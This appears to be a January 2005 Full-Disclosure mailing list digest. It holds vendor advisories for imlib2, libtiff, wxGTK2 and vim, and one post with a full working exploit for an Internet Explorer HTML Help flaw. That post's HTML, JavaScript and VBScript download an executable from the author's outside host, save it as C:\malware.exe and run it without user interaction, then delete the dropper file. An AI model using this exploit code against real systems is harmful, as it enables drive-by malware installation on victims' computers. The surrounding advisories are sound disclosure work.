Message-ID: <20050106174228.GB9434@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-55-1		   January 06, 2005
imlib2 vulnerabilities
CAN-2004-1025, CAN-2004-1026
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libimlib2

The problem can be corrected by upgrading the affected package to
version 1.1.0-12ubuntu2.1. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Recently, Pavel Kankovsky discovered several buffer overflows in imlib
which were fixed in USN-53-1. It was found that imlib2 was vulnerable
to similar issues.

If an attacker tricked a user into loading a malicious XPM or BMP
image, he could exploit this to execute arbitrary code in the context
of the user opening the image.

These vulnerabilities might also lead to privilege escalation if a
privileged server process is using this library; for example, a PHP
script on the web server which does automatic image processing might
use the php-imlib package, in which case a remote attacker could
possibly execute arbitrary code with the web server's privileges.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0-12ubuntu2.1.diff.gz
      Size/MD5:   519125 3ece0e406b95e41d4c9399b5def6adf4
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0-12ubuntu2.1.dsc
      Size/MD5:      707 4ce1ffa67516fe7b9bb5974aebd7cd0a
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0.orig.tar.gz
      Size/MD5:   814851 1589ebb054da76734fe08ae570460034

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_amd64.deb
      Size/MD5:   608490 298b73e1ca6d67fd67a5f1c46f4c2b17
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_amd64.deb
      Size/MD5:   189040 202f3d45cbdf0051d7a4b4c3a883445e

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_i386.deb
      Size/MD5:   570136 3d49a87c30e254897b759ca45894d95a
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_i386.deb
      Size/MD5:   176266 56ffca0de995818e951b554f05dc561e

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_powerpc.deb
      Size/MD5:   669892 f8e61e9ef1b7df0d215553ad5ff51def
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_powerpc.deb
      Size/MD5:   196958 354f393c057b2188303763dce03c474e
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/a86463ab/attachment.bin 

From shreddersub7 at yahoo.com  Thu Jan  6 19:27:11 2005
From: shreddersub7 at yahoo.com (ShredderSub7)
Date: Thu, 6 Jan 2005 11:27:11 -0800 (PST)
Subject: [Full-Disclosure] Remote Code Execution with Parameters on Windows
	(XP SP2)
Message-ID: <20050106192711.64118.qmail@web61304.mail.yahoo.com>

Remote Code Execution with Parameters on Windows (XP
SP2): Updated (it can now install any malware file
from the Internet and run it without user interaction
needed)
PoC/Exploit:
http://freehost19.websamba.com/shreddersub7/cmdexe.htm
About the PoC/Exploit:
http://freehost19.websamba.com/shreddersub7/cmdexe-d.htm
------------------------
How does this exploit work?
The problem with Internet Explorer is that it doesn't
set any restrictions on web pages that request opening
a Windows Help file, compiled with HTML Help. Without
a 

restriction, we can (in Internet Explorer) easily
command to open any local web page stored on a
victim's computer, including web pages that are
founded in Windows Help 

files (with extension .CHM). In this PoC (Proof of
Concept, see below for viewing the PoC), the web page
"compile_date.htm" (that is founded in the Windows
Help file 

"ntshared.chm") will be opened in HTML Help. 
Since we now opened a web page stored in a Windows
Help file (.CHM), it is possible (thanks to the
exploit) to execute an ActiveX control that only fully
works in HTML 

Help files. This ActiveX control can do anything: it
can write files to your hard disk and afterwards, it
could execute those files. So in this PoC, we choosed
to 

launch an ActiveX control for HTML Help that will
first write the HTML application (.HTA file)
"cmdexe.hta" to your C-drive. 

Then, we will execute that file by the same type of
ActiveX control. So in this PoC, it wil execute the
file "C:\cmdexe.hta" after it was written. This HTML
application 

"C:\cmdexe.hta" was programmed to install the real
malware onto your C-drive, in this PoC that will be
"C:\malware.exe". 

If that is all done, we use the exploit one more time:
we will the execute the malware. It is even possible
to add parameters to the executed program. In this
PoC, we 

started the malware file "C:\malware.exe" after it was
written. 

To make it complete, we will delete the HTML
application "C:\cmdexe.hta" because it's not being
used anymore. Also, the 2 needed programs (Internet
Explorer and HTML 

Help) will be automatically shutted down after the
execution is finished without user interaction.
------------------------
How can you reproduce this PoC?

Create the file "cmdexe.htm" with the following code
(please notice that you may have to change some file
paths!):

<html><head><title>CMDExe - PoC</title></head><body>
<br><OBJECT style="display:none" id="locate"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" 

codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"
value="command;ms-its:c:/windows/help/ntshared.chm::/compile_date.htm">
</OBJECT>
<OBJECT style="display:none" id="locator"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" 

codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"
value='command;javascript:execScript("document.write(\"<body
style=\\\"display:none\\\"
scroll=\\\"no\\\"\"+String.fromCharCode(62)+\"<script 

language=\\\"javascript\\\"
src=\\\"http://freehost19.websamba.com/shreddersub7/cmdexe.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>locate.HHClick();setTimeout("locator.HHClick()",75);setTimeout("window.opener=null;window.close()",7000)</script></body></html>
-----
Then create the file "cmdexe.txt" (please notice that
you may have to change some file paths!): 

function writehta(){
document.write("<script language=\"vbscript\"
src=\"http://freehost19.websamba.com/shreddersub7/cmdexe2.txt\"></script>");
}
function writeexe(){
document.write("<object id=a
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param
name=command value=shortcut><param name=item1
value=',cmd.exe,/d /c start /min 

C:/cmdexe.hta'></object><script>a.Click\(\)</script>");
}
function startexe(){
document.write("<object id=b
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param
name=command value=shortcut><param name=item1
value=',cmd.exe,/d /c del 

\"C:/cmdexe.hta\"&&start
C:/malware.exe'></object><object id=c
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param
name=command 

value=close></object><script>b.Click\(\);c.Click\(\)</script>");
}
setTimeout("writehta()",1);
setTimeout("writeexe()",2000);
setTimeout("startexe()",5000);
-----
If that's done, create the file "cmdexe2.txt" (please
notice that you may have to change some file paths!): 

on error resume next
set conn = CreateObject("ADODB.Recordset")
   With conn
       .Fields.Append "conn", 200, "3000"
       Call .Open
       Call .AddNew
       .Fields("conn").Value = "<body
style=""display:none"" scroll=""no"">"
       Call .AddNew
       .Fields("conn").Value = "<script
language=""vbscript"">: on error resume next : set o =
CreateObject(""msxml2.XMLHTTP"") : o.open 

""GET"",""http://freehost19.websamba.com/shreddersub7/cmdexe.exe"",False
: o.send : set s = createobject(""adodb.stream"") :
s.type=1 : s.open : s.write o.responseBody 

: s.savetofile ""C:\malware.exe"",2 :
window.close()</script>"
       Call .Update
   End With
conn.Save "C:\cmdexe.hta", adPersistXML
conn.Close
-----

If you want to use the same test malware file
"cmdexe.exe" (again: only for testing, do not bring
any damage to somewhone's pc with it, or you're
responsible!), you can 

find it here:
http://freehost19.websamba.com/shreddersub7/cmdexe.exe
-----

If you want to attack Windows XP RTM (Gold), Windows
XP SP1 or Windows Server 2003 systems, you might have
to upload the "hhctrl.ocx" file too:
http://freehost19.websamba.com/shreddersub7/hhctrl.ocx
------------------------
How to avoid this exploit...
Since there are still no patches from Microsoft
available yet, here are some (temporary?) solutions:  
Disable Internet Explorer
or disable Active Scripting.  
 Use another browser,
for example Mozilla FireFox. 
------------------------
To Microsoft: Disable the possibility to integrate
HTML Help Controls in HTML web pages.
Also, disable the possibility to open HTML Help files
randomly out of a HTML web page.
And come on, use some more restricted security zones
for HTML applications! 
------------------------
You can find the PoC, as it is explained above, here:
http://freehost19.websamba.com/shreddersub7/cmdexe.htm.
The PoC on this page installs and opens a test malware
file in your C-drive (called "C:\malware.exe"),
nothing more than that. It will not bring any harm to
your pc.
Contact: ShredderSub7_at_yahoo.com (off course,
replace the "_at_" part with an "@" if you want me to
receive your email!)
------------------------
ShredderSub7


		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250


From bruno at wolff.to  Thu Jan  6 20:37:15 2005
From: bruno at wolff.to (Bruno Wolff III)
Date: Thu, 6 Jan 2005 14:37:15 -0600
Subject: [Full-Disclosure] Re: Again: zone transfers, a spammer's dream?
In-Reply-To: <f7816dde041229083279112ad0@mail.gmail.com>
References: <f7816dde041229083279112ad0@mail.gmail.com>
Message-ID: <20050106203715.GA21436@wolff.to>

On Wed, Dec 29, 2004 at 17:32:33 +0100,
  Ralf Glauberman <ralfglauberman at gmail.com> wrote:
> 
> so, here comes the old question: What do you think about this?

The main problem with allowing zone transfers by anyone is that it makes
denial of service attacks against the dns server easier.

I don't see other people having access to the data as a bad thing.


From security at linux-mandrake.com  Thu Jan  6 20:43:01 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Thu, 06 Jan 2005 13:43:01 -0700
Subject: [Full-Disclosure] MDKSA-2005:001 - Updated libtiff packages fix
	multiple vulnerabilities
Message-ID: <E1CmeTF-0007sY-Fu@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           libtiff
 Advisory ID:            MDKSA-2005:001
 Date:                   January 6th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1,
			 Multi Network Firewall 8.2
 ______________________________________________________________________

 Problem Description:

 Several vulnerabilities have been discovered in the libtiff package:
 
 iDefense reported the possibility of remote exploitation of an integer 
 overflow in libtiff that may allow for the execution of arbitrary code.
 
 The overflow occurs in the parsing of TIFF files set with the
 STRIPOFFSETS flag.
 
 iDefense also reported a heap-based buffer overflow vulnerability
 within the LibTIFF package could allow attackers to execute arbitrary
 code. (CAN-2004-1308)
 
 The vulnerability specifically exists due to insufficient validation of
 user-supplied data when calculating the size of a directory entry. 
 
 The updated packages are patched to protect against these
 vulnerabilities.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 26419ea5f9e775c45927a2bea2eb25ff  10.0/RPMS/libtiff-progs-3.5.7-11.5.100mdk.i586.rpm
 cfb638e4f6150118347cef61e699d755  10.0/RPMS/libtiff3-3.5.7-11.5.100mdk.i586.rpm
 d76678e5f4d536deff8f5ec21a25b108  10.0/RPMS/libtiff3-devel-3.5.7-11.5.100mdk.i586.rpm
 61d7b33454e6d722e0626a25fc96a6d3  10.0/RPMS/libtiff3-static-devel-3.5.7-11.5.100mdk.i586.rpm
 0e93d8581db6de31c2cca71a7d8a9d9e  10.0/SRPMS/libtiff-3.5.7-11.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 f5a13fd14f3e4b6bd2543338e9ce4673  amd64/10.0/RPMS/lib64tiff3-3.5.7-11.5.100mdk.amd64.rpm
 cb7a9496c0336a50a6b586b634d273e6  amd64/10.0/RPMS/lib64tiff3-devel-3.5.7-11.5.100mdk.amd64.rpm
 c7e9ae6e41e528275056586c61b57a33  amd64/10.0/RPMS/lib64tiff3-static-devel-3.5.7-11.5.100mdk.amd64.rpm
 a7833fbba64ccf3034ea94db771a6ecf  amd64/10.0/RPMS/libtiff-progs-3.5.7-11.5.100mdk.amd64.rpm
 0e93d8581db6de31c2cca71a7d8a9d9e  amd64/10.0/SRPMS/libtiff-3.5.7-11.5.100mdk.src.rpm

 Mandrakelinux 10.1:
 844326b002681b1fbad9c373928bcc22  10.1/RPMS/libtiff-progs-3.6.1-4.3.101mdk.i586.rpm
 fc39dc40b6e4602cd11dbaaaaa8ccbfc  10.1/RPMS/libtiff3-3.6.1-4.3.101mdk.i586.rpm
 0831a29e721e3b34299a382c565b39be  10.1/RPMS/libtiff3-devel-3.6.1-4.3.101mdk.i586.rpm
 4de78902949d1da955531dfcc18ea673  10.1/RPMS/libtiff3-static-devel-3.6.1-4.3.101mdk.i586.rpm
 3bbd5c84878f47f0aeb6a29808daf075  10.1/SRPMS/libtiff-3.6.1-4.3.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 a194eae967e8b4de9b69600dea3aa154  x86_64/10.1/RPMS/lib64tiff3-3.6.1-4.3.101mdk.x86_64.rpm
 03113ffb0e828e5435a75f225b639d79  x86_64/10.1/RPMS/lib64tiff3-devel-3.6.1-4.3.101mdk.x86_64.rpm
 8799ead4440d3ed03bdb7a135b297fd2  x86_64/10.1/RPMS/lib64tiff3-static-devel-3.6.1-4.3.101mdk.x86_64.rpm
 2a5fa5a22cb394313449f12a99ced13f  x86_64/10.1/RPMS/libtiff-progs-3.6.1-4.3.101mdk.x86_64.rpm
 3bbd5c84878f47f0aeb6a29808daf075  x86_64/10.1/SRPMS/libtiff-3.6.1-4.3.101mdk.src.rpm

 Corporate Server 2.1:
 ff96fd5e53c8658a300705feb1bf64d7  corporate/2.1/RPMS/libtiff3-3.5.7-5.5.C21mdk.i586.rpm
 ac7e1c4f37efd05bf0df7b55b3abdefa  corporate/2.1/RPMS/libtiff3-devel-3.5.7-5.5.C21mdk.i586.rpm
 28f4daec69cc9edbb7eca8711cb38d2f  corporate/2.1/RPMS/libtiff3-progs-3.5.7-5.5.C21mdk.i586.rpm
 1f061eeb03c4731df3601aa7b9c2ef55  corporate/2.1/RPMS/libtiff3-static-devel-3.5.7-5.5.C21mdk.i586.rpm
 a2275152fe3f3959e3b954044df03a7b  corporate/2.1/SRPMS/libtiff-3.5.7-5.5.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 153f5197d22280627cfa5b35878aa5e7  x86_64/corporate/2.1/RPMS/libtiff3-3.5.7-5.5.C21mdk.x86_64.rpm
 ddca70adfa8fc09333c020be403010ab  x86_64/corporate/2.1/RPMS/libtiff3-devel-3.5.7-5.5.C21mdk.x86_64.rpm
 be2dd3bdeadfe2a4d6e2c357ff72304b  x86_64/corporate/2.1/RPMS/libtiff3-progs-3.5.7-5.5.C21mdk.x86_64.rpm
 3f85152064fae9bed20168b3728af1ae  x86_64/corporate/2.1/RPMS/libtiff3-static-devel-3.5.7-5.5.C21mdk.x86_64.rpm
 a2275152fe3f3959e3b954044df03a7b  x86_64/corporate/2.1/SRPMS/libtiff-3.5.7-5.5.C21mdk.src.rpm

 Mandrakelinux 9.2:
 741e8f3ef01a5d16dd0c01d918860777  9.2/RPMS/libtiff-progs-3.5.7-11.5.92mdk.i586.rpm
 6346717fb39bc05185d29032d9844320  9.2/RPMS/libtiff3-3.5.7-11.5.92mdk.i586.rpm
 46a7727bf95b6d76bdcfce4e5a70c15d  9.2/RPMS/libtiff3-devel-3.5.7-11.5.92mdk.i586.rpm
 f3798634944b9ef94390ce06c20df998  9.2/RPMS/libtiff3-static-devel-3.5.7-11.5.92mdk.i586.rpm
 36e2ac6e7e96cfbd428149b3c9ccab55  9.2/SRPMS/libtiff-3.5.7-11.5.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 f81aa073cce93dd18fc35dc2ea0f3d9c  amd64/9.2/RPMS/lib64tiff3-3.5.7-11.5.92mdk.amd64.rpm
 f6e36bd732e8ccb00d873c7470251510  amd64/9.2/RPMS/lib64tiff3-devel-3.5.7-11.5.92mdk.amd64.rpm
 c60bb908bb2815451da0a3d57eccaf1f  amd64/9.2/RPMS/lib64tiff3-static-devel-3.5.7-11.5.92mdk.amd64.rpm
 67e5ce5b674c882bcca3974e6a2edc3b  amd64/9.2/RPMS/libtiff-progs-3.5.7-11.5.92mdk.amd64.rpm
 36e2ac6e7e96cfbd428149b3c9ccab55  amd64/9.2/SRPMS/libtiff-3.5.7-11.5.92mdk.src.rpm

 Multi Network Firewall 8.2:
 bd75dfaf6447560450d6d0f28d0817d8  mnf8.2/RPMS/libtiff3-3.5.5-9.5.M82mdk.i586.rpm
 e1c84b55ff13da157156a0ff67185c81  mnf8.2/SRPMS/libtiff-3.5.5-9.5.M82mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aLVmqjQ0CJFipgRAuEpAJ9dHA4Jb2avd9SzB44AkVFnVKrlCgCfYjgM
LejodEvApMn0icZcWSQDF4E=
=V0MP
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Thu Jan  6 20:52:17 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Thu, 06 Jan 2005 13:52:17 -0700
Subject: [Full-Disclosure] MDKSA-2005:002 - Updated wxGTK2 packages fix
	vulnerabilities
Message-ID: <E1CmecD-00082f-Fc@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           wxGTK2
 Advisory ID:            MDKSA-2005:002
 Date:                   January 6th, 2005

 Affected versions:	 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 Several vulnerabilities have been discovered in the libtiff package;
 wxGTK2 uses a libtiff code tree, so it may have the same
 vulnerabilities:
 
 iDefense reported the possibility of remote exploitation of an integer
 overflow in libtiff that may allow for the execution of arbitrary code.
 
 The overflow occurs in the parsing of TIFF files set with the
 STRIPOFFSETS flag.
 
 iDefense also reported a heap-based buffer overflow vulnerability
 within the LibTIFF package could allow attackers to execute arbitrary
 code. (CAN-2004-1308)
 
 The vulnerability specifically exists due to insufficient validation of
 user-supplied data when calculating the size of a directory entry.
 
 The updated packages are patched to protect against these
 vulnerabilities.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 ba9d5780d05078247a92f6cd0884a642  10.0/RPMS/libwxgtk2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 369c1190bf5ff19a89728a633a2243bb  10.0/RPMS/libwxgtk2.5-devel-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 81878a529f380d3edac2d35427820a40  10.0/RPMS/libwxgtkgl2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 d457c6001ae548eed3f74fece216538c  10.0/RPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 5e8b965e2f4d744b994ff4d33f76de40  10.0/SRPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 618a8fe53ecade77de29e9a0c5c0ccde  amd64/10.0/RPMS/lib64wxgtk2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 c4a9b6e1c1340e38ff19a8bf15daa93e  amd64/10.0/RPMS/lib64wxgtk2.5-devel-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 53f31674004696ef38f278481be554e7  amd64/10.0/RPMS/lib64wxgtkgl2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 f9e36ab6a1ed9d312ce5882308f91619  amd64/10.0/RPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 5e8b965e2f4d744b994ff4d33f76de40  amd64/10.0/SRPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.src.rpm

 Mandrakelinux 10.1:
 9b9e61df2db9973b8f452acf61104f42  10.1/RPMS/libwxgtk2.5_1-2.5.1-5.3.101mdk.i586.rpm
 c524f5fc3392651e1cbecde322eaa1a0  10.1/RPMS/libwxgtk2.5_1-devel-2.5.1-5.3.101mdk.i586.rpm
 c82c706931183f2c18bbdf3e52fed787  10.1/RPMS/libwxgtkgl2.5_1-2.5.1-5.3.101mdk.i586.rpm
 8c8e53e3b50fb2bd335d16e0ca7f6fd8  10.1/RPMS/wxGTK2.5-2.5.1-5.3.101mdk.i586.rpm
 c5a574a7031028f589d77f4254997d6f  10.1/SRPMS/wxGTK2.5-2.5.1-5.3.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 eba730a0d098c7d130423b8245a8f80b  x86_64/10.1/RPMS/lib64wxgtk2.5_1-2.5.1-5.3.101mdk.x86_64.rpm
 478acd8d9d1a34e44bc31adaab387e8a  x86_64/10.1/RPMS/lib64wxgtk2.5_1-devel-2.5.1-5.3.101mdk.x86_64.rpm
 c2fd48c6377ae03768a4cabe0f03c3f5  x86_64/10.1/RPMS/lib64wxgtkgl2.5_1-2.5.1-5.3.101mdk.x86_64.rpm
 afe966ca2449461e304c498d0873aace  x86_64/10.1/RPMS/wxGTK2.5-2.5.1-5.3.101mdk.x86_64.rpm
 c5a574a7031028f589d77f4254997d6f  x86_64/10.1/SRPMS/wxGTK2.5-2.5.1-5.3.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aUBmqjQ0CJFipgRAvJFAJ9d5XaOR+GOiAzExvBrfTtRD+56mwCeI06S
5wZTm9MOdhQLxjV3NskMxao=
=Aneh
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Thu Jan  6 20:53:55 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Thu, 06 Jan 2005 13:53:55 -0700
Subject: [Full-Disclosure] MDKSA-2005:003 - Updated vim packages fix
	modeline vulnerabilities
Message-ID: <E1Cmedn-00087w-Mn@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           vim
 Advisory ID:            MDKSA-2005:003
 Date:                   January 6th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1
 ______________________________________________________________________

 Problem Description:

 Several "modeline"-related vulnerabilities were discovered in Vim by
 Ciaran McCreesh.  The updated packages have been patched with Bram
 Moolenaar's vim 6.3.045 patch which fixes the reported vulnerabilities
 and adds more conservative "modeline" rights.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1138
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 dc99ec20a0d5e1ffe5705b338587dc4e  10.0/RPMS/vim-X11-6.2-14.1.100mdk.i586.rpm
 321271cf96a487d030c1f63916057df6  10.0/RPMS/vim-common-6.2-14.1.100mdk.i586.rpm
 cab974c180ba32f189ed2b8f9d87c4d7  10.0/RPMS/vim-enhanced-6.2-14.1.100mdk.i586.rpm
 354150734d36ae267933932fda998694  10.0/RPMS/vim-minimal-6.2-14.1.100mdk.i586.rpm
 da7ed2d30da9357180fc2e95a8332ac1  10.0/SRPMS/vim-6.2-14.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 00c06119cda7bccb1e72313a1b2d1dce  amd64/10.0/RPMS/vim-X11-6.2-14.1.100mdk.amd64.rpm
 00e1ffca2a8e584885632fd628d2f963  amd64/10.0/RPMS/vim-common-6.2-14.1.100mdk.amd64.rpm
 82e1be218800efc70e795a604514c375  amd64/10.0/RPMS/vim-enhanced-6.2-14.1.100mdk.amd64.rpm
 2b2b8c84f7790797ab18e77f3c1e7f2f  amd64/10.0/RPMS/vim-minimal-6.2-14.1.100mdk.amd64.rpm
 da7ed2d30da9357180fc2e95a8332ac1  amd64/10.0/SRPMS/vim-6.2-14.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 8b913b02ea90489aaa2bd29f795399d8  10.1/RPMS/vim-X11-6.3-5.1.101mdk.i586.rpm
 5353a6cfb15280d8f1cc053743341ad1  10.1/RPMS/vim-common-6.3-5.1.101mdk.i586.rpm
 f765913a4dfdd57ef7faa420a5a61830  10.1/RPMS/vim-enhanced-6.3-5.1.101mdk.i586.rpm
 684886af2c515a9e9a1c1291ec8094fd  10.1/RPMS/vim-minimal-6.3-5.1.101mdk.i586.rpm
 89b134fbe9240efc208824930c9a605b  10.1/SRPMS/vim-6.3-5.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 f035a1b1ac873ee806527eb338c135ef  x86_64/10.1/RPMS/vim-X11-6.3-5.1.101mdk.x86_64.rpm
 2b750028b598e8673122696bdf9f575b  x86_64/10.1/RPMS/vim-common-6.3-5.1.101mdk.x86_64.rpm
 03f49e6ea46596fe972b140d4edc55e3  x86_64/10.1/RPMS/vim-enhanced-6.3-5.1.101mdk.x86_64.rpm
 64305d45fcf292ac1a852f189a50306b  x86_64/10.1/RPMS/vim-minimal-6.3-5.1.101mdk.x86_64.rpm
 89b134fbe9240efc208824930c9a605b  x86_64/10.1/SRPMS/vim-6.3-5.1.101mdk.src.rpm

 Corporate Server 2.1:
 756cc2e58bff900c4fcb0460a6ac767f  corporate/2.1/RPMS/vim-X11-6.1-34.2.C21mdk.i586.rpm
 65697ca8ad7698cd6b141ebcefb14646  corporate/2.1/RPMS/vim-common-6.1-34.2.C21mdk.i586.rpm
 ef40b036454a280650b3842be5eb4b5d  corporate/2.1/RPMS/vim-enhanced-6.1-34.2.C21mdk.i586.rpm
 15706190a1a01413f7aa106238e592b1  corporate/2.1/RPMS/vim-minimal-6.1-34.2.C21mdk.i586.rpm
 8558f98441e0e85964d2aa9b400ebfce  corporate/2.1/SRPMS/vim-6.1-34.2.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 51c1ff3d71adfddc998c9731e9cbf033  x86_64/corporate/2.1/RPMS/vim-X11-6.1-34.2.C21mdk.x86_64.rpm
 72818890b41fab3a7fca922084139bee  x86_64/corporate/2.1/RPMS/vim-common-6.1-34.2.C21mdk.x86_64.rpm
 990252b46c4d80a0f118d9f9d47480ee  x86_64/corporate/2.1/RPMS/vim-enhanced-6.1-34.2.C21mdk.x86_64.rpm
 711e168b31f45852a0b4c50c94a17c46  x86_64/corporate/2.1/RPMS/vim-minimal-6.1-34.2.C21mdk.x86_64.rpm
 8558f98441e0e85964d2aa9b400ebfce  x86_64/corporate/2.1/SRPMS/vim-6.1-34.2.C21mdk.src.rpm

 Mandrakelinux 9.2:
 d05af7e58ceb4437e8f850bbffa2d78b  9.2/RPMS/vim-X11-6.2-11.1.92mdk.i586.rpm
 877835edad015bd451e12314fc685d01  9.2/RPMS/vim-common-6.2-11.1.92mdk.i586.rpm
 cfbdd0030d0a06bdc5200c8f7f02741d  9.2/RPMS/vim-enhanced-6.2-11.1.92mdk.i586.rpm
 02a99727758bb95e081ec55ceb80629f  9.2/RPMS/vim-minimal-6.2-11.1.92mdk.i586.rpm
 1ceb7a9081a1bb02ef4c8e9881d0e8db  9.2/SRPMS/vim-6.2-11.1.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 24182d75dce9da179234a45ad31d9bf7  amd64/9.2/RPMS/vim-X11-6.2-11.1.92mdk.amd64.rpm
 4b7a72d17f7964aed4d7cdf90837c8ca  amd64/9.2/RPMS/vim-common-6.2-11.1.92mdk.amd64.rpm
 66e94e428441701c22515b30a9092eff  amd64/9.2/RPMS/vim-enhanced-6.2-11.1.92mdk.amd64.rpm
 4f0bad1665fa9c844bd11f0dbdfb1c91  amd64/9.2/RPMS/vim-minimal-6.2-11.1.92mdk.amd64.rpm
 1ceb7a9081a1bb02ef4c8e9881d0e8db  amd64/9.2/SRPMS/vim-6.2-11.1.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

